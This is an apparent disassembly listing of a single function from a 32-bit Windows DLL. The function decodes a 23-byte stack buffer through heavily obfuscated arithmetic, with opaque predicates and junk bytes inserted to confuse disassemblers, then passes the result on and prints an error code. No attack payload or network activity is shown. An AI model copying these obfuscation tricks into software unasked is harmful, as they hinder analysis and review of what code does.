add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fabd8
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fabd8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x90], 3
add eax, edi
jmp 0x100fac54
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fac57
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100fac5c
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100face7
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100face7
mov dword [ebp - 0x94], 3
jmp 0x100fad5d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fad5d
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0x147], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100faff8
xor eax, eax
je 0x100fadb0
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fae43
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fae43
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100faebf
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100faec2
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100faec7
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100faf80
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100faf80
mov dword [ebp - 0x8c], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0x147], cl
jmp 0x100fb003
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100faf4a
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
jmp 0x100faf4d
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb291
mov eax, dword [ebp - 0x48]
sub eax, 0x7e
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100fb045
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb0d4
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fb0d4
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x80], 3
jmp 0x100fb150
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb153
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
sub eax, 0x7e
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100fb164
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb1f0
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fb1f0
mov dword [ebp - 0x84], 3
jmp 0x100fb266
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb266
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0x147], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100fb4f9
xor eax, eax
je 0x100fb2bf
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb352
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100fb352
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x78], 3
add eax, edi
jmp 0x100fb3cb
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb3ce
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100fb3d3
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb45b
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100fb45b
mov dword [ebp - 0x7c], 3
jmp 0x100fb4ce
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100fb4ce
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0x147]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x147], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x17
jb 0x100fa890
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x147]
mov byte [ebp - 0x148], 1
push ecx
push eax
call fcn.100ecc10
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x100ed2d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10140300
mov esp, ebp
pop ebp
ret